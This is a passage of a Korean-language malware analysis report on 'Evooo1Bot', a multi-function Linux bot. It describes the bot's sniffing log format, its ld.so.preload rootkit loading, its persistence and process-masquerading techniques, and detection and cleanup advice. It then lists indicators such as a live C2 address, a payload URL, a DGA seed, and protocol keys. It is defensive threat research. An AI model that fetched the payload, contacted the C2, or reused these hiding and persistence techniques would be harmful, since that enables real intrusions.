| 로그 파일 | /tmp/.sniff.log |
| 개별 탐지 프레임 | SNIFF_HIT|%s|%d.%d.%d.%d|%d.%d.%d.%d:%d|%s|%s\n |
| 통계 프레임 | SNIFF|post:%u|basic:%u|cookie:%u|url:%u|total:%u\n |
SNIFF_HIT의 필드는 다음과 같이 구성되어 있다.
- %s — 탐지
유형 (post/basic/cookie/url 중 하나)
- %d.%d.%d.%d — 출발지 IP
- %d.%d.%d.%d:%d — 목적지 IP:포트
- %s — 캡처된
필드값 1 (헤더 이름 또는 파라미터)
- %s — 캡처된 필드값 2 (헤더 값 또는 파라미터 값)
[표 33] SNIFF_HIT 필드
프로그램에는 서버에서 전달받은 라이브러리를 libproc.so라는 이름으로 저장하고 /etc/ld.so.preload에 등록하는 기능이 포함돼 있다. 해당 라이브러리의 실제 내용은 이 샘플에 포함돼 있지 않으므로 어떤 기능을 가로채거나 숨기는지는 확인할 수 없다. 관련 유지 작업은 관리자 권한으로 실행된 경우에만 시도된다.
| 항목 | 값 |
|---|---|
| 라이브러리 경로 | /lib/libproc.so, /usr/lib/libproc.so |
| 로더 설정 | /etc/ld.so.preload 에 경로 등록 |
| 은닉 파일 지정 | 환경변수 RK_FILES = libproc.so,%s,.d |
| 은닉 포트 지정 | 환경변수 RK_PORTS = 42780,1080 |
| 은닉 PID 지정 | 환경변수 RK_PID = %d |
/usr/lib/libproc.so와 /lib/libproc.so 파일이 존재하는지 확인한다. 확인된 실행 환경에서는 두 파일이 없어 조회 결과가 ENOENT로 기록됐다.
<그림 24> 실행 중 두 libproc.so 경로를 순차 조회 — 모두 ENOENT
* 같은 구간의 /etc/ld.so.preload 조회는 Linux의 라이브러리 로더가 프로그램을 시작할 때 수행하는 공통 동작이다. 따라서 이 접근만으로는 Evooo1Bot의 고유 행위라고 볼 수 없다.
서버 명령을 주지 않은 상태에서는 로더 설정 파일과 라이브러리 파일 모두 생성되지 않았다.
<그림 25> 명령 없이 실행한 상태 — ld.so.preload와 libproc.so 모두 없음
* 루트킷 라이브러리 본체는 악성코드에 포함되어 있지 않다. 설치 명령의 인자로 전달받는 구조이므로 후킹 대상 함수와 은닉 구현은 이 샘플만으로 확인할 수 없다.
프로그램은 30~60초 간격으로 경쟁 프로그램과 주요 서비스 포트를 확인한다. TCP 23·22·80·443을 사용하는 프로세스를 찾으면 종료 요청을 보내고, 해당 포트에 직접 접속 대기 상태를 만들려고 시도한다. 또한 실행 중인 프로세스와 파일 이름을 내부 목록과 비교해 일치하는 항목에 종료 또는 삭제 요청을 보낸다. 즉 종료 대상은 경쟁 봇넷에 한정되지 않고 해당 포트를 점유한 프로세스 전체다.
Evooo1Bot은 SSH 접속 시도, 감시 기반 재실행, 원격 명령, HTTP 요청과 서비스 거부 공격 기능을 하나의 Linux 바이너리에 포함한 다기능 봇이다. 샘플에는 CVE 식별자 26개와 명령 문자열이 포함된 요청 본문 20개가 저장돼 있다. 일부 요청은 해당 취약점에 필요한 통신 방식이나
실행 조건과 일치하지 않으며, 저장된 요청의 실제 공격 성공 여부는 확인되지 않았다. SSH 접속 시도, 원격 명령과 서비스 거부 공격 기능은 원격 제어
서버의 명령으로 실행된다.
방어는 단일 시그니처만으로는 어렵고, 네트워크·호스트 단을 조합해 접근해야 한다.
네트워크에서는 다수 대상에 대한 SSH 접속 시도와 원격 제어 서버 접속 실패 후 이어지는 .xyz 예비
도메인 조회를 우선 확인한다. 샘플에 저장된 외부 속도 측정 주소로의 접속 여부도 함께 확인한다.
호스트에서는 redis-server re로 표시되는 프로세스, 127.0.0.1:42780
접속 대기 상태, sweedishsniper 문자열과
PID 감시형 cron 항목을 함께 확인한다. 외부에서
전달되는 libproc.so는 이 샘플에 포함돼 있지 않으므로 실제 포트 은닉 여부는 확인되지 않았다.
또한 봇 프로세스만 종료해서는 재기동을 막을
수 없다. 감시 스크립트와 cron 엔트리까지 함께 제거해야
재감염 고리가 끊어진다.
대응 시에는 SSH 확산을 차단하고 실행 중인 봇
프로세스, 감시 스크립트, cron, systemd,
profile.d, init 스크립트와 복제본을 함께 확인해 제거해야 한다. 이후 원격
제어 서버와 예비 도메인 통신을 차단하고, 감염 장비에서 사용되거나 노출된 계정 정보를 변경해야 한다.
내용을 입력해주세요
내용을 입력해주세요
•
f13cb360768363d3424e2192c7805b8c8015eb8706dbbbcdead6aed8cf390109
•
c72b1e6be5ac42894d5cbc3695eccb03bfabaf7c517098034efdc427114ea9c9
•
4c0886349e9d348569fffe1b7a31e474d514508bf0cd6f1e5dd99c2a73525e4d
| 유형 | 값 |
|---|---|
| C2 | 91.92.40.118:443 |
| 페이로드 URL | http://91.92.40.118/init.sh |
| DGA | [a-z]{16}.xyz — 시드 2eb6ee84, 일 20개 (6절 산출식으로 임의 날짜 생성 가능). 접속 포트는 TCP/443 |
| 프로토콜 매직 | TCP 페이로드 선두 4바이트 EZF3 (45 5A 46 33), 클라이언트 헬로 총 68바이트 |
| 세션 복호 후 마커 | REGISTER:, AUTH_CHALLENGE:, AUTH_SUCCESS, PING/PONG, OUTPUT_B64:, RELAY_AUTH:, RELAY_NEW:, RELAY_DATA: — 회선에서는 암호문이므로 네트워크 단독 탐지에는 쓸 수 없다 |
| SSH 배너 | SSH-2.0-OpenSSH_9.7p1 (스캐너 발신) |
| HTTP UA | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
| DoH | cloudflare-dns.com/dns-query, dns.google/dns-query, dns.quad9.net:5053/dns-query, dns.google/resolve |
| 대역폭 측정 | https://speed.cloudflare.com/__down?bytes=100000 |
| 리스닝 포트 | 42780 (단일 인스턴스), 1080 (SOCKS) |
| 유형 | 값 |
|---|---|
| 루트킷 | /etc/ld.so.preload, /lib/libproc.so, /usr/lib/libproc.so |
| 환경변수 | RK_FILES, RK_PORTS, RK_PID, __SSHD_DAEMON |
| 락·작업 파일 | /tmp/.dbus-session, /tmp/.redis-server.pid, /tmp/.sniff.log, /tmp/.d |
| 단일 인스턴스 | 리스너 127.0.0.1:42780 / 마커 문자열 sweedishsniper / 프로세스명 redis-server re |
| 지속성 | /var/spool/cron/crontabs/root, /etc/rc.local, /etc/profile.d/*.sh, /etc/init.d/* + /etc/rc?.d/S90* |
| systemd | redis-sentinel.service, Apache HTTPD Cache Manager, System Service Manager |
| 위장 경로 | /var/lib/.httpd_cache/.httpd_check.sh, /var/lib/redis/.rdb_cache, /usr/bin/.supervisor, /usr/sbin/.sshd, /usr/lib/libsystem, /usr/lib/libworker |
| 자기복제본 | /dev/shm/.<위장문자열>-<4자> (270,720 bytes, 실행 권한 부여) |
| 생성물 이름 규칙 | redis-server redis-sentinel redis-cli rdb-check aof-rewrite + -<4자 난수> (profile.d는 .sh 추가, 복제본은 선두에 .) |
| 프로세스명 | redis-server re (위장 문자열 선두 15자) |
| OOM 회피 | /proc/self/oom_score_adj = -1000 |
| 항목 | 값 |
|---|---|
| 사전공유키 | 7G4SZu!UEoxIkOxg |
| 설정 AES-256 키 | 8dbacb9c6c1a131d31339f8eaddad71af726421382e16f34c1e6f7e5102726ec |
| 설정 ChaCha20 키 | 2d1a23a8ec2ba4500bf8f6fe09b5b80f2fc524a8a70ec5226b936598bbb5dd64 |
| 문자열 XOR 키 | 0x43 |
| 인증 응답식 | base64( SHA-256( challenge || PSK || challenge ) ) |